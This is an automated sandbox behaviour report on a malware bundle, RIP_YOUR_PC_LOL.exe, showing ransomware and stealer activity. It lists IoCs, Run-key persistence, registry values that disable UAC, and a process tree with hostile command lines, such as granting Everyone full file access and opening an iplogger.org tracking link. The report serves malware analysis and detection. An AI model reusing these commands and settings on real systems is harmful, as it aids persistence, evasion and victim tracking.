hawkeye | 477c13d4ca09fdb7fea6487641c6a904d4dee1adecd74ac42e0b00a3842503f9

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	RIP_YOUR_PC_LOL.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	6.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation	5.exe

Drops startup file 15 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\802f813d3810aa536753efbd3390b541.exe	system.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt.WNCRYT	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDBB8F.tmp	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6de30ce638de491.tmp	8.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDBB68.tmp	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt.WNCRY	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\6de30ce638de491.tmp	8.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt.WNCRYT	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt	10.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt	10.exe
File opened for modification	\??\c:\users\admin\appdata\roaming\microsoft\windows\start menu\programs\startup\decrypt-files.txt.wncry	taskmgr.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\802f813d3810aa536753efbd3390b541.exe	system.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT-FILES.txt	8.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt	8.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\DECRYPT-FILES.txt.WNCRY	10.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4628	icacls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	vbc.exe

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\dlkzpibqectdraf799 = "\"C:\\Users\\Admin\\Desktop\\tasksche.exe\""	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Windows\\System32\\unregmp2\\dllhost.exe\""	6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Update = "C:\\Users\\Admin\\AppData\\Roaming\\WindowsUpdate.exe"	7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\802f813d3810aa536753efbd3390b541 = "\"C:\\ProgramData\\system.exe\" .."	system.exe
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Software\Microsoft\Windows\CurrentVersion\Run	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default User\\fontdrvhost.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msedge = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\pwahelper\\msedge.exe\""	6.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Windows\\System32\\enterprisecsps\\RuntimeBroker.exe\""	6.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\802f813d3810aa536753efbd3390b541 = "\"C:\\ProgramData\\system.exe\" .."	system.exe

Checks whether UAC is enabled 1 TTPs 4 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fontdrvhost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
42	whatismyipaddress.com
44	whatismyipaddress.com

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\System32\enterprisecsps\RuntimeBroker.exe	6.exe
File created	C:\Windows\System32\enterprisecsps\9e8d7a4ca61bd92aff00cc37a7a4d62a2cac998d	6.exe
File created	C:\Windows\System32\unregmp2\dllhost.exe	6.exe
File created	C:\Windows\System32\unregmp2\5940a34987c99120d96dace90a3f93f329dcad63	6.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\\\000.bmp"	8.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]"	@[email protected]

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1336 set thread context of 204	1336	7.exe	125
PID 1336 set thread context of 1692	1336	7.exe	135

Drops file in Program Files directory 28 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\CompleteDisconnect.rle	8.exe
File opened for modification	C:\Program Files\RestartUnpublish.pdf	8.exe
File opened for modification	C:\Program Files\ExpandOpen.cr2	8.exe
File created	C:\Program Files\DECRYPT-FILES.txt	8.exe
File opened for modification	C:\Program Files\ConnectGrant.odt	8.exe
File opened for modification	C:\Program Files\ConvertAdd.css	8.exe
File opened for modification	C:\Program Files\CopyCheckpoint.mhtml	8.exe
File opened for modification	C:\Program Files\EditOpen.vbe	8.exe
File opened for modification	C:\Program Files\FormatUninstall.sql	8.exe
File opened for modification	C:\Program Files\ReceiveCompare.vst	8.exe
File opened for modification	C:\Program Files\UnprotectRevoke.ttc	8.exe
File created	C:\Program Files (x86)\DECRYPT-FILES.txt	8.exe
File opened for modification	C:\Program Files\ConvertToPush.xps	8.exe
File opened for modification	C:\Program Files\LockTest.easmx	8.exe
File opened for modification	C:\Program Files\ResizeFormat.mpp	8.exe
File opened for modification	C:\Program Files\SendSync.aifc	8.exe
File opened for modification	C:\Program Files\CompressSkip.iso	8.exe
File opened for modification	C:\Program Files\StartGrant.mpv2	8.exe
File opened for modification	C:\Program Files (x86)\6de30ce638de491.tmp	8.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper\msedge.exe	6.exe
File created	C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper\61a52ddc9dd915470897a065f14eeedfa88f98fd	6.exe
File opened for modification	C:\Program Files\MountConnect.m4a	8.exe
File opened for modification	C:\Program Files\ProtectStep.dotm	8.exe
File opened for modification	C:\Program Files\ResumeDisable.M2T	8.exe
File opened for modification	C:\Program Files\6de30ce638de491.tmp	8.exe
File opened for modification	C:\Program Files\ExitShow.eprtx	8.exe
File opened for modification	C:\Program Files\PopTest.wmf	8.exe
File opened for modification	C:\Program Files\SubmitWatch.3gp	8.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
1976	schtasks.exe
4280	schtasks.exe
1652	schtasks.exe
1664	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings	RIP_YOUR_PC_LOL.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify	taskmgr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify\State = "2"	taskmgr.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\SpotifyAB.SpotifyMusic_zpdnekdrzrea0\Spotify\UserEnabledStartupOnce = "0"	taskmgr.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
1760	reg.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
3572	6.exe
3572	6.exe
3892	8.exe
3892	8.exe
3964	msedge.exe
3964	msedge.exe
3572	6.exe
3572	6.exe
4552	msedge.exe
4552	msedge.exe
3572	6.exe
3572	6.exe
3752	fontdrvhost.exe
3752	fontdrvhost.exe
1692	vbc.exe
1692	vbc.exe
1336	7.exe
1336	7.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
972	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3572	6.exe
Token: SeBackupPrivilege	4392	vssvc.exe
Token: SeRestorePrivilege	4392	vssvc.exe
Token: SeAuditPrivilege	4392	vssvc.exe
Token: SeDebugPrivilege	3752	fontdrvhost.exe
Token: SeDebugPrivilege	1336	7.exe
Token: SeDebugPrivilege	2040	system.exe
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: SeIncreaseQuotaPrivilege	3952	wmic.exe
Token: SeSecurityPrivilege	3952	wmic.exe
Token: SeTakeOwnershipPrivilege	3952	wmic.exe
Token: SeLoadDriverPrivilege	3952	wmic.exe
Token: SeSystemProfilePrivilege	3952	wmic.exe
Token: SeSystemtimePrivilege	3952	wmic.exe
Token: SeProfSingleProcessPrivilege	3952	wmic.exe
Token: SeIncBasePriorityPrivilege	3952	wmic.exe
Token: SeCreatePagefilePrivilege	3952	wmic.exe
Token: SeBackupPrivilege	3952	wmic.exe
Token: SeRestorePrivilege	3952	wmic.exe
Token: SeShutdownPrivilege	3952	wmic.exe
Token: SeDebugPrivilege	3952	wmic.exe
Token: SeSystemEnvironmentPrivilege	3952	wmic.exe
Token: SeRemoteShutdownPrivilege	3952	wmic.exe
Token: SeUndockPrivilege	3952	wmic.exe
Token: SeManageVolumePrivilege	3952	wmic.exe
Token: 33	3952	wmic.exe
Token: 34	3952	wmic.exe
Token: 35	3952	wmic.exe
Token: 36	3952	wmic.exe
Token: SeIncreaseQuotaPrivilege	3952	wmic.exe
Token: SeSecurityPrivilege	3952	wmic.exe
Token: SeTakeOwnershipPrivilege	3952	wmic.exe
Token: SeLoadDriverPrivilege	3952	wmic.exe
Token: SeSystemProfilePrivilege	3952	wmic.exe
Token: SeSystemtimePrivilege	3952	wmic.exe
Token: SeProfSingleProcessPrivilege	3952	wmic.exe
Token: SeIncBasePriorityPrivilege	3952	wmic.exe
Token: SeCreatePagefilePrivilege	3952	wmic.exe
Token: SeBackupPrivilege	3952	wmic.exe
Token: SeRestorePrivilege	3952	wmic.exe
Token: SeShutdownPrivilege	3952	wmic.exe
Token: SeDebugPrivilege	3952	wmic.exe
Token: SeSystemEnvironmentPrivilege	3952	wmic.exe
Token: SeRemoteShutdownPrivilege	3952	wmic.exe
Token: SeUndockPrivilege	3952	wmic.exe
Token: SeManageVolumePrivilege	3952	wmic.exe
Token: 33	3952	wmic.exe
Token: 34	3952	wmic.exe
Token: 35	3952	wmic.exe
Token: 36	3952	wmic.exe
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: 33	4548	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	4548	AUDIODG.EXE
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: 33	2040	system.exe
Token: SeIncBasePriorityPrivilege	2040	system.exe
Token: SeTcbPrivilege	4176	taskse.exe
Token: SeTcbPrivilege	4176	taskse.exe
Token: SeIncreaseQuotaPrivilege	4896	WMIC.exe

Suspicious use of FindShellTrayWindow 23 IoCs

pid	Process
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
4552	msedge.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe

Suspicious use of SendNotifyMessage 19 IoCs

pid	Process
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe
972	taskmgr.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
3584	@[email protected]
3584	@[email protected]
1676	@[email protected]
1676	@[email protected]
1244	@[email protected]
1244	@[email protected]
716	@[email protected]
2940	@[email protected]

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3124 wrote to memory of 2928	3124	RIP_YOUR_PC_LOL.exe	81
PID 3124 wrote to memory of 2928	3124	RIP_YOUR_PC_LOL.exe	81
PID 3124 wrote to memory of 2928	3124	RIP_YOUR_PC_LOL.exe	81
PID 2928 wrote to memory of 3788	2928	1.exe	83
PID 2928 wrote to memory of 3788	2928	1.exe	83
PID 3788 wrote to memory of 4552	3788	cmd.exe	84
PID 3788 wrote to memory of 4552	3788	cmd.exe	84
PID 4552 wrote to memory of 1628	4552	msedge.exe	86
PID 4552 wrote to memory of 1628	4552	msedge.exe	86
PID 3124 wrote to memory of 2336	3124	RIP_YOUR_PC_LOL.exe	87
PID 3124 wrote to memory of 2336	3124	RIP_YOUR_PC_LOL.exe	87
PID 3124 wrote to memory of 2336	3124	RIP_YOUR_PC_LOL.exe	87
PID 2336 wrote to memory of 3664	2336	10.exe	88
PID 2336 wrote to memory of 3664	2336	10.exe	88
PID 2336 wrote to memory of 3664	2336	10.exe	88
PID 2336 wrote to memory of 4628	2336	10.exe	89
PID 2336 wrote to memory of 4628	2336	10.exe	89
PID 2336 wrote to memory of 4628	2336	10.exe	89
PID 3124 wrote to memory of 3280	3124	RIP_YOUR_PC_LOL.exe	94
PID 3124 wrote to memory of 3280	3124	RIP_YOUR_PC_LOL.exe	94
PID 3124 wrote to memory of 2916	3124	RIP_YOUR_PC_LOL.exe	93
PID 3124 wrote to memory of 2916	3124	RIP_YOUR_PC_LOL.exe	93
PID 3124 wrote to memory of 2916	3124	RIP_YOUR_PC_LOL.exe	93
PID 3124 wrote to memory of 4208	3124	RIP_YOUR_PC_LOL.exe	95
PID 3124 wrote to memory of 4208	3124	RIP_YOUR_PC_LOL.exe	95
PID 3124 wrote to memory of 4208	3124	RIP_YOUR_PC_LOL.exe	95
PID 3124 wrote to memory of 3572	3124	RIP_YOUR_PC_LOL.exe	96
PID 3124 wrote to memory of 3572	3124	RIP_YOUR_PC_LOL.exe	96
PID 3124 wrote to memory of 1336	3124	RIP_YOUR_PC_LOL.exe	98
PID 3124 wrote to memory of 1336	3124	RIP_YOUR_PC_LOL.exe	98
PID 3124 wrote to memory of 1336	3124	RIP_YOUR_PC_LOL.exe	98
PID 3124 wrote to memory of 3892	3124	RIP_YOUR_PC_LOL.exe	100
PID 3124 wrote to memory of 3892	3124	RIP_YOUR_PC_LOL.exe	100
PID 3124 wrote to memory of 3892	3124	RIP_YOUR_PC_LOL.exe	100
PID 2336 wrote to memory of 3612	2336	10.exe	99
PID 2336 wrote to memory of 3612	2336	10.exe	99
PID 2336 wrote to memory of 3612	2336	10.exe	99
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101
PID 4552 wrote to memory of 4876	4552	msedge.exe	101

System policy modification 1 TTPs 6 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	6.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	fontdrvhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	fontdrvhost.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
3664	attrib.exe

C:\Users\Admin\AppData\Local\Temp\RIP_YOUR_PC_LOL.exe
"C:\Users\Admin\AppData\Local\Temp\RIP_YOUR_PC_LOL.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3124
- C:\Users\Admin\Desktop\1.exe
  "C:\Users\Admin\Desktop\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2928
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\695D.tmp\695E.tmp\695F.bat C:\Users\Admin\Desktop\1.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.org/2bB2s6
      4⤵
      Adds Run key to start application
      Enumerates system info in registry
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4552
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa59c346f8,0x7ffa59c34708,0x7ffa59c34718
        5⤵
        
        PID:1628
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2096 /prefetch:2
        5⤵
        
        PID:4876
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2768 /prefetch:8
        5⤵
        
        PID:4316
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3964
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3424 /prefetch:1
        5⤵
        
        PID:3824
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3432 /prefetch:1
        5⤵
        
        PID:2452
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5500 /prefetch:8
        5⤵
        
        PID:1820
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3500 /prefetch:1
        5⤵
        
        PID:4472
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2084,12370527672765014916,11213257922967060572,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5816 /prefetch:8
        5⤵
        
        PID:2356
- C:\Users\Admin\Desktop\10.exe
  "C:\Users\Admin\Desktop\10.exe"
  2⤵
  - Executes dropped EXE
  - Drops startup file
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h .
    3⤵
    - Views/modifies file attributes
    PID:3664
- - C:\Windows\SysWOW64\icacls.exe
    icacls . /grant Everyone:F /T /C /Q
    3⤵
    - Modifies file permissions
    PID:4628
- - C:\Users\Admin\Desktop\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:3612
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c 169511651675374.bat
    3⤵
    PID:3520
  - - C:\Windows\SysWOW64\cscript.exe
      cscript.exe //nologo m.vbs
      4⤵
      PID:624
- - C:\Users\Admin\Desktop\taskdl.exe
    taskdl.exe
    3⤵
    - Executes dropped EXE
    PID:3052
- - C:\Users\Admin\Desktop\@[email protected]
    @[email protected] co
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:3584
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c start /b @[email protected] vs
    3⤵
    PID:2908
  - - C:\Users\Admin\Desktop\@[email protected]
      @[email protected] vs
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1676
    - - C:\Windows\SysWOW64\cmd.exe
        
